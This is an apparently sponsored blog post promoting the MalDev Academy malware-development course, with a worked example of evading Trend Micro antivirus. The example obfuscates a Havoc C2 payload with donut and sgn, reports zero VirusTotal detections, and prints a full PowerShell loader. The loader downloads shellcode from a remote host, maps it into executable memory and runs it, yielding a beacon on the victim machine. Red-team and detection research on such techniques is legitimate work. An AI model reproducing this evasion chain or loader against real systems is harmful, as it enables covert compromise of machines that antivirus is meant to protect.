Indeed, the collaboration we’ve been announcing these past few weeks is none other than with MalDev Academy 🔥😳🙈. You may know them, you may not, in any case, we’re going to see who they are and a real example of how we can apply what we learn at MalDev. If your main interest is red teaming, blue teaming, malware analysis, or digital forensics, this is your platform.

What is MalDev Academy?

MalDev Academy Logo

MalDev Academy is an academy specialized in malware development formed by three highly recognized professionals in the sector: mr.d0x, NUL0x4C, and 5pider.

MalDev Academy Team

Haven’t you ever experienced that the more you advance in a topic, the less information or the less quality information you find? It happens a lot when you’re looking for very specialized information or on a topic that isn’t so widespread.

Well, until not long ago, this was happening with malware development. It’s an advanced topic in which, although there was information, it perhaps wasn’t, on one hand, so accessible for beginners, and on the other, so centralized. MalDev comes not only to solve these problems but also to continue contributing complex technical content so that the most advanced can learn. Let’s see how MalDev is structured and what it contains.

What does it contain?

MalDev Academy is basically divided into two: the course and the database. Let’s see what each one is about.

Malware Development Course

The course is the main content of the platform and is based on modules.

Course modules interface

Currently, you can find over 140 modules of all difficulty levels:

  • Beginner

Beginner modules

  • Intermediate

Intermediate modules

  • Advanced

Advanced modules

The best part is that it’s not limited to all this, they’re constantly adding new modules and updates:

Recent module updates

On the platform’s own MalDev Academy Syllabus, you can observe the timeline of what they’ve been adding since the platform launched last year:

Syllabus timeline

Updated syllabus content

If you notice, they not only add new content but also Challenges so you can put what you’re learning to the test.

Available challenges on the platform

The modules inside look like this:

Module interior view

Detailed module content

Everything is always explained step by step and they constantly make things easier for you, they even provide you with a VM with all the tools you need:

Virtual machine provided by MalDev

Database

In addition to the academy, MalDev offers another service known as the database. This service offers Code Snippets of specific actions. For example, do you want to find ways to dump LSASS quickly? You just need to do a search:

Database search

And they’ll provide you with the different codes available for it in the database:

Code search results

Code snippet example

The purpose of this service is ultimately to save developers time and have a centralized good source of code references so they can be used quickly. Additionally, this database is constantly being updated:

Database updates

They not only include code snippets for malware development but also for creating tools that can be useful for exploiting vulnerabilities or creating scripts that interact with services:

Available tools and scripts

Private Discord

Although the two main services of MalDev are the academy and the database, one of the things I value most is the Discord they give you access to:

MalDev Academy private Discord

The Discord is full of activity and they’re constantly sharing new techniques. Additionally, if you ask any questions, they’ll answer you without problems.

Example

Let’s try to evade the Trend Micro Maximum Security antivirus with the goal of obtaining a beacon on our C2.

This is a very simplified example because firstly, we’re dealing with an AV and not an EDR. Additionally, evasion is not limited to the moment of obtaining a beacon, but all subsequent actions that can generate telemetry that an AV/EDR can detect must be taken into account.

Trend Micro Maximum Security

Antivirus interface

First of all, we’ll connect to the C2 by starting the Havoc client:

Havoc client

C2 connection established

Once we’re connected, we’re going to configure an HTTPS Listener:

Listener configuration

Configured HTTPS Listener

With the Listener configured, we’re going to generate the Payload. We’ll select the Shellcode format:

Payload generation in shellcode format

At this point, we already have the basic preparations done. In this example, we’ll make use of a loader that is explained in one of the MalDev Academy modules. This loader has the following characteristics:

  • Indirect syscalls using an improved implementation of HellHall.
  • DLL unhooking through the \KnownDlls\ directory without using RWX memory permissions (recovers the original unhooking versions of ntdll.dll, kernel32.dll, and kernelbase.dll).
  • Payload injection through segmentation, possibly evading EDR event filters (divides the payload into several fragments and injects them gradually into memory).
  • Use of a custom AES encryption library.
  • Payload execution through the Thread Pool APIs.
  • IAT obfuscation using API hashing and API camouflage.
  • Independent of the CRT library.

Custom loader code

This loader is aided by another program called PayloadEncrypter. The main function of this program is to read a payload from disk, encrypt it, and then save it to store it within the resources section (.rsrc section) of the loader.

We’ll use PayloadEncrypter with the payload generated by Havoc:

Using PayloadEncrypter with the payload

Once encrypted, we’ll place it in the resources section (.rsrc section) of the loader and compile the tool:

Loader compilation

Successfully compiled tool

At this point, we now have a malicious DLL that will execute the Havoc payload and provide a beacon. However, if we leave it as is, it’s detected by quite a few security solutions:

Initial detection by security solutions

To try to solve this, we’ll use two tools, the first of which is donut. Donut is a tool that allows in-memory execution of VBScript, JScript, EXE, DLL files, and .NET assemblies. We’ll use it to, from the DLL we have, generate a binary that can be loaded directly into memory and executed without needing to write the file to disk. In this case, we’re generating a “shellcode” from the DLL using the command shown in the following image.

Shellcode generation with donut

Donut by default uses obfuscation techniques and can include mechanisms to disable AMSI and WLDP (Windows Lockdown Policy), which allows evading certain Windows security mechanisms.

On the file generated by donut, we’ll use another tool, sgn. SGN is a polymorphic binary encoder designed for offensive security purposes, such as generating statically undetectable binary payloads. In fact, you surely know Shikata ga nai, the famous Metasploit encoder. Well, this is an improvement of the original implementation, written in Golang.

I discovered this tool on the MalDev server:

Discovery of sgn on the MalDev server

Whatever it may be, we’ll use it to add an additional layer of obfuscation and polymorphism to the payload generated by Donut:

Using sgn to obfuscate the payload

This tool provides the same output format as Donut. If we now upload this shellcode to VirusTotal:

VirusTotal analysis with 0/60 detections

We can observe that no solution detects it as malicious, obtaining a detection score of 0/60.

At this point, we have a shellcode sufficiently modified to test it with Trend Micro. In this case, we’ll use reflection to load it into memory. This technique consists of allocating space in memory and copying the shellcode directly into it, without writing to disk, dynamically resolving its references and executing it at runtime. Reflection allows inspecting, invoking, and accessing .NET data types. By default, PowerShell provides access to public access properties and methods, but using the reflection APIs, you can access the internal parts of types in .NET.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

$Shellcode = (New-Object System.Net.WebClient).DownloadData("http://192.168.10.10/agent.bin.sgn")

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $lpMem, $Shellcode.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

If on the victim machine we download this .ps1 file into memory:

PowerShell script download into memory

Script execution

Our shellcode will execute and we’ll receive the beacon on our C2:

Beacon received on the C2

Beacon connection established

Access to compromised system

Thus obtaining access to the machine regardless of the presence of Trend Micro Maximum Security.

Exclusive discount! 🥳🙈🔥

Note 02/01/2025: The discount is no longer available :(, but that doesn’t mean there can’t be new discounts in the future, so follow us on social media so you don’t miss anything. Cheers!

MalDev has trusted Deep Hacking and has provided us with an exclusive discount code for you, you can get a 10% discount using the code DEEPHACKING10 both on the lifetime plan and the bundle (the latter contains access to the database).

To use the code at the time of purchase, you need to add it here:

Field to add discount code

Once added, the 10% discount will be applied to the plan you’ve chosen.

Discount successfully applied

Conclusion

Nowadays there are many training platforms, for example, the very expensive OffSec courses which, in proportion to what they cost and what they teach you, are not worth it at all. However, on the other side, there are platforms like MalDev that not only cost a quarter of the price but the value they provide you is much greater. I recommend this platform not only because I consider it good but because I myself am a user of it and I’m delighted with the content they offer.